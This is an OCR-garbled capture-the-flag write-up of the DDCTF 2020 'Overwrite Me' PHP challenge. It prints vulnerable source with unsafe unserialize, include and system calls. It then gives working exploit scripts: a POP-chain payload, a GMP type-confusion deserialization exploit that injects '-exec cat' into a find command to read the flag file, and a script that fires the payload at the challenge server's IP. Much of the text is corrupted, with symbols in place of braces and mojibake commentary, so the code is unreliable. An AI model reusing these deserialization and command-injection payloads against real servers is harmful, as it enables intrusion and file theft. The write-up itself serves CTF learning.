Overwrite Me


https://blog.play2win.top/2020/09/07/DDCTF2020_WEB_writeup%20/

BEE BE#R33

Overwrite Me
400

http://117.51.137.166/EOf9uk3nSsVFK1LQ.php

Flag REERE

LS TR

<?php
error_reporting(0);

class MyClass

{
var $kweng;
var $flag;
public function _ wakeup()
{
$this->kweng = 1;
¥
public function get_flag()
{
return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
¥
}

class Prompter
{
protected $hint;
public function execute($value)

{

include($value);

public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\. |\
\//i", $this->hint))
{
die("Don't Do That!");



¥
$this->execute($this->hint);

class Display

{

public $contents;
public $page;
public function _ construct($file="/hint/hint.php")
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";

}
public function _ toString()
{

return $this->contents();
}

public function __ wakeup()

{

$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);

class Repeater

{
private $cont;
public $content;
public function __ construct()
{
$this->content = array();
¥
public function __unset($key)
{
$func = $this->content;
return $func();
b
¥
class Info
{
function _ construct()
{
eval('phpinfo();");
¥
¥

$show = new Display();
$bullet = $_GET['bullet'];

if(!isset($bullet))

{

highlight_file(_ FILE_ );
die("Give Me Something!");

}else if($bullet == 'phpinfo")

S



$infos = new Info();
}else
{
$obstacle = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
echo $mc->get flag();

ey PR RS, HAERE S Shint.php

<?php

class Prompter

{
protected $hint='/hint/hint.php’;

public function execute($value)

{

include($value);

public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob]|phar|ssh2|rar|ogg|expect|\.\.]\
\//i", $this->hint))
{
die("Don't Do That!");

b
$this->execute($this->hint);

class Display
{
public $contents;
public $page;
public function __ construct($file="/hint/hint.php")
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
b
public function __ toString()

{

return $this->contents();

public function _ wakeup()

{

$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);

class Repeater

{
private $cont;
public $content;



public function _ construct()

{
$this->content = array();
}
public function __unset($key)
{
$func = $this->content;
return $func();
}
}
class Info
{
function _ construct()
{
eval('phpinfo();");
}
¥

$chainl = new Display();
$chain2 = new Repeater();
$chain3= new Prompter();

//$chain3->hint = "/hint/hint.php";
$chain2->content=$chain3;
$chainl->page = $chain2;

echo urlencode(serialize($chainl)) ;
//0%3A7%3A%22D1splay%22%3A2%3A%7Bs%3A8%3A%22contents’22%3Bs%3A14%3A%22%2Fhint%2Fhint. php%22%3Bs%3A4%3A%22page’22
%3BO0%3A8%3A%22Repeater%22%3A2%3A%7Bs%3A14%3A%22%00Repeater%00cont%22%3BN%3Bs%3A7%3A%22content%22%3B0%3A8%3A%22Pr
ompter%s22%3A1%3A%7Bs%3A7%3A%22%00%2A%00h1nt%22%3Bs%3A10%3A%22 . 52Ftest. php%22%3B%7D%7D%7D

SR JEbulletf i 25 5 oA 4 IFlagNeverFall/suffix_flag.php, SR 1 ¢ i A & —Ninclude B %, #t&include T 3% 4
highlight_file(_ FILE_)&RAMKIRBEA IMEZFIN % .

J& T BARTE B ) T SkwOngiX MEA L6 FF 1, PAKE R FEAKE S ¥ H phpinfo , {EAKSRER R BEG M EE R,
THEBEWP

SRJE RN http://117.51.137.166/hinthint.php BEEL VG M. o o —HEZE NG H H T, MNiZse 7 FILEE hinthint.php
ik flag HIRTEH 010 (WA TR THRIL AR B RIXAE R REIRE SR A /N) D

HRKRNER 7. o HEABAWPET

hint.php:
Good Job! You've got the preffix of the flag: DDCTF{VgQN6HXC2moDAQg39And i’'ll give a hint, | have already installed the PHP
GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead!



GMPHI IR S %5«
https://xz.aliyun.com/t/6781
https://bugs.php.net/bug.php?id=70513
https://paper.seebug.org/1267/
https://hackerone.com/reports/198734

REIA BB 2 WRBATH — D HER R P D . BbsjaimPHP 2% 7 GMPHRE, W RIFAIHE]— A= [__wakeup
FEAR 5%, BATHAT MBS 7SI AT B RO g 1, JFHC &3 57 A SERR 1 2 4 ) L

— /AT I exp il T :


https://xz.aliyun.com/t/6781
https://bugs.php.net/bug.php?id=70513
https://paper.seebug.org/1267/
https://hackerone.com/reports/198734

<?php

class MyClass

{
var $kweng;
var $flag;
public function _ wakeup()
{
$this->kweng = 1;
b
public function get_flag()
{
var_dump($this->flag);
return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
¥
¥
class Display
{
public $contents;
public $page;
public function __ construct($file="/hint/hint.php")
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>\n";
¥
public function _ toString()
{
return $this->contents();
¥
public function _ wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
¥
¥

$show = new Display();

$obstacle = new stdClass;

$mc = new MyClass();

$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";

$inner = 's:1:"3";a:2:{s:4:"flag";s:63:"-iname sth -or -exec cat /FlagNeverFall/suffix_flag.php ; -quit";i:1;0:1
2:"DateInterval”:1:{s:1:"y";R:2;}}}";

$exploit = 'a:1:{i:0;C:3:"GMP":"'.strlen($inner).":{'.$inner."}}i:1;0:7:"MyClass":1:{s:5:"kwong";R:3;}}"';
unserialize($exploit);

var_dump($mc);

echo $mc->get flag();

echo urlencode($exploit);

echo "\n";

?>

X IEWPHII B AH] GMP tAEFT, X HEAREMEEE, Mark—F



<?php

class MyClass {
var $kweng;
var $flag;

class HintClass {
protected $hint;

class ShowOff {
public $contents;
public $page;

class MiddleMan {
public $content;
private $cont;

$showoff = new ShowOff();

$myclass = new MyClass();

$myclass->flag = '-exec cat /flag {} ;';
$showoff->page = new MiddleMan();
$showoff->page->content = [$myclass, 'get _flag'];

$paylod = urlencode(serialize($showoff));
$url = 'http://117.51.137.166/atkPWsr2x3omRZFi.php?bullet=";
echo file_get_contents($url . $paylod);

l[é\ é:é[: :
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